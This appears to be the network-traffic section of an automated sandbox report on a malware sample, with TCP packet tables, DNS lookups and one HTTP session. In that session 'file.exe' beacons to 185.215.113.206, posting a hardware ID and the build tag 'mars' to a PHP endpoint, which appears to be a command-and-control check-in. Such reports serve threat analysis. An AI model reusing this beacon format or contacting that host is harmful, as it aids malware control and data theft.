Nov 12, 2024 08:30:45.430449009 CET	57134	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.430478096 CET	443	57134	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.431097031 CET	57134	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.431101084 CET	443	57134	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.431330919 CET	443	57135	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:45.442537069 CET	443	57131	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.442600965 CET	443	57131	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.442960978 CET	57131	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.443018913 CET	57131	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.443032026 CET	443	57131	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.443061113 CET	57131	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.443065882 CET	443	57131	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.445400953 CET	57138	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.445417881 CET	443	57138	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.445486069 CET	57138	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.445604086 CET	57138	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.445620060 CET	443	57138	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.452337980 CET	443	57128	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.452358961 CET	443	57128	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.452406883 CET	57128	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.452419996 CET	443	57128	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.452744961 CET	57128	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.452759981 CET	443	57128	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.452768087 CET	57128	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.452876091 CET	443	57128	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.452904940 CET	443	57128	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.452950001 CET	57128	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.458587885 CET	443	57132	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.458950043 CET	443	57132	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.459006071 CET	57132	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.459108114 CET	57132	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.459131002 CET	443	57132	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.459145069 CET	57132	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.459151030 CET	443	57132	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.461472988 CET	57139	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.461498976 CET	443	57139	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.461580038 CET	57139	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.461678028 CET	57139	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.461688995 CET	443	57139	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.469505072 CET	57140	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.469525099 CET	443	57140	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.469619989 CET	57140	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.469739914 CET	57140	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.469750881 CET	443	57140	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.512897968 CET	443	57135	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:45.512917042 CET	443	57135	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:45.512963057 CET	443	57135	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:45.512964964 CET	57135	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:45.513000965 CET	57135	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:45.513926029 CET	57135	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:45.513938904 CET	443	57135	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:45.544223070 CET	443	57133	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.544249058 CET	443	57133	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.544286013 CET	443	57133	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.544300079 CET	57133	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.544331074 CET	57133	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.544517040 CET	57133	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.544534922 CET	443	57133	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.544548988 CET	57133	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.544554949 CET	443	57133	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.546722889 CET	57141	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.546761990 CET	443	57141	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.546842098 CET	57141	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.546973944 CET	57141	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.546984911 CET	443	57141	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.557679892 CET	443	57134	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.557739973 CET	443	57134	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.557866096 CET	57134	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.557904959 CET	57134	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.557921886 CET	443	57134	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.557934046 CET	57134	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.557938099 CET	443	57134	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.559686899 CET	57142	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.559716940 CET	443	57142	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.559863091 CET	57142	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.559977055 CET	57142	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.559989929 CET	443	57142	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.612924099 CET	443	57136	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.613293886 CET	57136	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.613322973 CET	443	57136	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.613779068 CET	57136	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.613784075 CET	443	57136	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.746047974 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.746068001 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.746112108 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.746140957 CET	57127	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.746161938 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.746181965 CET	57127	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.746232986 CET	443	57136	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.746598005 CET	57127	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.746614933 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.746622086 CET	57127	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.746623039 CET	443	57136	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.746684074 CET	57136	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.746752024 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.746783972 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.747121096 CET	57136	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.747129917 CET	443	57136	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.747138977 CET	57127	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.750027895 CET	57143	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.750072002 CET	443	57143	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.750142097 CET	57143	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.750381947 CET	57143	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.750395060 CET	443	57143	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.825289011 CET	57144	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.825311899 CET	443	57144	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.825366974 CET	57144	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.825546026 CET	57144	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.825560093 CET	443	57144	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:46.180069923 CET	443	57138	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.180811882 CET	57138	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:46.180826902 CET	443	57138	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.181375027 CET	57138	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:46.181380987 CET	443	57138	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.206897974 CET	443	57139	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.207279921 CET	57139	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:46.207304955 CET	443	57139	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.207698107 CET	57139	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:46.207703114 CET	443	57139	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.226988077 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.227047920 CET	57137	80	192.168.2.5	185.215.113.16
Nov 12, 2024 08:30:46.227068901 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.227080107 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.227092028 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.227102041 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.227117062 CET	57137	80	192.168.2.5	185.215.113.16
Nov 12, 2024 08:30:46.227128983 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.227135897 CET	57137	80	192.168.2.5	185.215.113.16
Nov 12, 2024 08:30:46.227140903 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.227153063 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.227155924 CET	57137	80	192.168.2.5	185.215.113.16
Nov 12, 2024 08:30:46.227163076 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.227164030 CET	57137	80	192.168.2.5	185.215.113.16
Nov 12, 2024 08:30:46.227185965 CET	57137	80	192.168.2.5	185.215.113.16
Nov 12, 2024 08:30:46.227190018 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.227222919 CET	57137	80	192.168.2.5	185.215.113.16
Nov 12, 2024 08:30:46.232018948 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.232059002 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.232109070 CET	57137	80	192.168.2.5	185.215.113.16
Nov 12, 2024 08:30:46.232184887 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.232235909 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:46.232276917 CET	57137	80	192.168.2.5	185.215.113.16
Nov 12, 2024 08:30:46.292807102 CET	443	57141	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.293329954 CET	57141	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:46.293360949 CET	443	57141	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.293783903 CET	57141	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:46.293790102 CET	443	57141	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.296103954 CET	443	57142	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.296550989 CET	57142	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:46.296569109 CET	443	57142	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.296968937 CET	57142	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:46.296977043 CET	443	57142	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.310904980 CET	443	57138	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.310962915 CET	443	57138	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.311014891 CET	57138	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:46.311192989 CET	57138	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:46.311209917 CET	443	57138	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:46.311220884 CET	57138	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:46.311225891 CET	443	57138	13.107.246.45	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 08:30:17.281234980 CET	192.168.2.5	1.1.1.1	0xa61f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:17.281373978 CET	192.168.2.5	1.1.1.1	0x9798	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 12, 2024 08:30:24.339289904 CET	192.168.2.5	1.1.1.1	0x1958	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:24.339519024 CET	192.168.2.5	1.1.1.1	0xe599	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 12, 2024 08:30:28.024873972 CET	192.168.2.5	1.1.1.1	0xec15	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:28.025039911 CET	192.168.2.5	1.1.1.1	0x9d97	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 12, 2024 08:30:29.135907888 CET	192.168.2.5	1.1.1.1	0x7af6	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:29.136750937 CET	192.168.2.5	1.1.1.1	0x3a1f	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 12, 2024 08:30:30.155148029 CET	192.168.2.5	1.1.1.1	0x5d96	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:30.155431986 CET	192.168.2.5	1.1.1.1	0x3988	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 12, 2024 08:30:30.817296982 CET	192.168.2.5	1.1.1.1	0x9ea3	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:30.818253040 CET	192.168.2.5	1.1.1.1	0x23d9	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 12, 2024 08:30:30.833365917 CET	192.168.2.5	1.1.1.1	0xce3d	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:30.833486080 CET	192.168.2.5	1.1.1.1	0x13a7	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 12, 2024 08:30:30.841181993 CET	192.168.2.5	1.1.1.1	0x878b	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:30.841325998 CET	192.168.2.5	1.1.1.1	0x7fce	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 12, 2024 08:30:30.850884914 CET	192.168.2.5	1.1.1.1	0xad0d	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:30.850997925 CET	192.168.2.5	1.1.1.1	0x43ac	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 12, 2024 08:30:32.355110884 CET	192.168.2.5	1.1.1.1	0x3654	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:32.355330944 CET	192.168.2.5	1.1.1.1	0x124b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 08:30:32.357899904 CET	192.168.2.5	1.1.1.1	0xf52d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:32.358069897 CET	192.168.2.5	1.1.1.1	0xca6a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 08:30:32.395648003 CET	192.168.2.5	1.1.1.1	0x3e60	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:32.395844936 CET	192.168.2.5	1.1.1.1	0x881d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 08:30:17.288113117 CET	1.1.1.1	192.168.2.5	0xa61f	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:17.288147926 CET	1.1.1.1	192.168.2.5	0x9798	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 12, 2024 08:30:24.345810890 CET	1.1.1.1	192.168.2.5	0x1958	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:24.345810890 CET	1.1.1.1	192.168.2.5	0x1958	No error (0)	plus.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:24.346960068 CET	1.1.1.1	192.168.2.5	0xe599	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:28.031699896 CET	1.1.1.1	192.168.2.5	0x9d97	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:28.031990051 CET	1.1.1.1	192.168.2.5	0xec15	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:28.140101910 CET	1.1.1.1	192.168.2.5	0x914f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:28.140101910 CET	1.1.1.1	192.168.2.5	0x914f	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:28.141170979 CET	1.1.1.1	192.168.2.5	0x2374	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:29.143224955 CET	1.1.1.1	192.168.2.5	0x7af6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:29.143276930 CET	1.1.1.1	192.168.2.5	0x3a1f	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:30.161890984 CET	1.1.1.1	192.168.2.5	0x5d96	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:30.161890984 CET	1.1.1.1	192.168.2.5	0x5d96	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:30.162519932 CET	1.1.1.1	192.168.2.5	0x3988	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:30.823893070 CET	1.1.1.1	192.168.2.5	0x9ea3	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:30.823893070 CET	1.1.1.1	192.168.2.5	0x9ea3	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:30.823893070 CET	1.1.1.1	192.168.2.5	0x9ea3	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:30.823893070 CET	1.1.1.1	192.168.2.5	0x9ea3	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:30.840343952 CET	1.1.1.1	192.168.2.5	0xce3d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:30.840498924 CET	1.1.1.1	192.168.2.5	0x13a7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:30.848344088 CET	1.1.1.1	192.168.2.5	0x878b	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:30.848504066 CET	1.1.1.1	192.168.2.5	0x7fce	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:30.857542992 CET	1.1.1.1	192.168.2.5	0xad0d	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:30.857817888 CET	1.1.1.1	192.168.2.5	0x43ac	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:31.748312950 CET	1.1.1.1	192.168.2.5	0x15e3	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:32.005139112 CET	1.1.1.1	192.168.2.5	0xbc8	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:32.005139112 CET	1.1.1.1	192.168.2.5	0xbc8	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:32.005167007 CET	1.1.1.1	192.168.2.5	0x75d4	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:32.361758947 CET	1.1.1.1	192.168.2.5	0x124b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 08:30:32.361783028 CET	1.1.1.1	192.168.2.5	0x3654	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:32.361783028 CET	1.1.1.1	192.168.2.5	0x3654	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:32.364501953 CET	1.1.1.1	192.168.2.5	0xf52d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:32.364501953 CET	1.1.1.1	192.168.2.5	0xf52d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:32.364655018 CET	1.1.1.1	192.168.2.5	0xca6a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 08:30:32.402858973 CET	1.1.1.1	192.168.2.5	0x3e60	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:32.402858973 CET	1.1.1.1	192.168.2.5	0x3e60	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:32.403039932 CET	1.1.1.1	192.168.2.5	0x881d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 08:30:32.876662016 CET	1.1.1.1	192.168.2.5	0xe66a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:32.876662016 CET	1.1.1.1	192.168.2.5	0xe66a	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:33.017745972 CET	1.1.1.1	192.168.2.5	0xfad2	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:33.017745972 CET	1.1.1.1	192.168.2.5	0xfad2	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:35.047672987 CET	1.1.1.1	192.168.2.5	0x21dc	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:35.047672987 CET	1.1.1.1	192.168.2.5	0x21dc	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:36.064925909 CET	1.1.1.1	192.168.2.5	0x21dc	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:36.064925909 CET	1.1.1.1	192.168.2.5	0x21dc	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:30:37.673818111 CET	1.1.1.1	192.168.2.5	0x1	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:30:37.673818111 CET	1.1.1.1	192.168.2.5	0x1	No error (0)	sni1gl.wpc.nucdn.net		152.195.19.97	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	2928	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:30:08.492176056 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 08:30:09.405672073 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 08:30:09.409451008 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 45 38 31 30 32 45 35 37 39 38 36 33 35 37 36 38 35 30 37 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="hwid"1E8102E579863576850798------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="build"mars------JJEGCBGIDHCAKEBGIIDB--
